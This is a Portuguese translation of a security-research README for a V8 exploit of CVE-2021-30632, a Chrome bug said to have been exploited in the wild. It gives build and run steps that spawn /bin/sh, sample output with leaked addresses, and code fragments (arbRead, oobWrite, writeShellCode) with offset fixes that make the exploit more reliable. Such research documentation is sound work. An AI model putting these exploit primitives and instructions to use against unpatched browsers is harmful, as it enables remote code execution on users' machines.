CVE-2021-30632

De: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632

A análise desse bug pode ser encontrada aqui. Este é um bug do Chrome que foi relatado por um pesquisador anônimo e acreditava-se que estava sendo explorado na natureza.

O exploit aqui foi testado na versão 9.3.345.16 do v8 (commit 632e6e7), que é a versão distribuída com o Chrome 93.0.4577.63, a versão anterior à correção do bug, no Ubuntu 20.04. Não o testei no próprio Chrome.

Para testar, faça checkout do v8 no commit 632e6e7 e compile com as configurações padrão usando tools/dev/gm.py x64.release. Em seguida, abra o arquivo poc.js com o d8:

./d8 poc.js

No Ubuntu 20.04, ele deve chamar execve("/bin/sh") para iniciar um novo processo:

./d8 poc.js instance: 81d42dd elements: 804abd9 rwx page address: 22c70c88b000 intArray addr: 8105d79 intBackingStore: 56498ceb25e0 $

O shell code pode precisar ser alterado em outras plataformas.

O exploit é muito confiável, porém, ao testar, notei que alguns offsets parecem ser sensíveis a pequenas alterações no arquivo (até mesmo adicionar comentários pode causar problemas), o que faria o exploit falhar. Isso só acontece quando o arquivo é modificado e geralmente se manifesta com alguns valores de lixo nos endereços, por exemplo:

instance: 81d42dd elements: 800222d rwx page address: 3ff199999999999a intArray addr: 81067e1 intBackingStore: 3ff199999999999a

Acima, o endereço da página rwx e do initBackingStore estão claramente incorretos. A causa raiz parece ser um valor incorreto do armazenamento de elements. (800222d não é um valor válido) Isso geralmente pode ser corrigido alterando as seguintes linhas referentes ao endereço de elements:

function arbRead(addr) { [elements, addr1] = ftoi32(addrs[1]); //<---- change this to [addr1, elements] = ftoi32(addrs[1]); oobWrite(i32tof(addr,addr1)); //<---- change to oobWrite(i32tof(addr1,addr)); return writeArr[0]; } ... function writeShellCode(rwxAddr, shellArr) { var intArr = new Uint8Array(400); var intArrAddr = addrOf(intArr); console.log("intArray addr: " + intArrAddr.toString(16)); var intBackingStore = ftoi(arbRead(intArrAddr + 0x20)); console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));

[elements, addr1] = ftoi32(addrs[1]); //<------ change this to [addr1, elements] = ftoi32(addrs[1]); oobWrite(i32tof(intArrAddr + 0x20, addr1)); //<------ change this to oobWrite(i32tof(addr1, intArrAddr + 0x20)); ... } ... var elementsAddr = ftoi32(addrs[1])[0]; //<------- change this to var elementsAddr = ftoi32(addrs[1])[1];

Isso, no entanto, não afeta a confiabilidade do exploit, pois os offsets são estáveis desde que o arquivo seja fixo, mas pode causar problemas se o poc for modificado. Não sei o que causa isso, mas o exploit provavelmente pode se tornar mais robusto contra isso combinando padrões na memória em vez de depender de offsets fixos.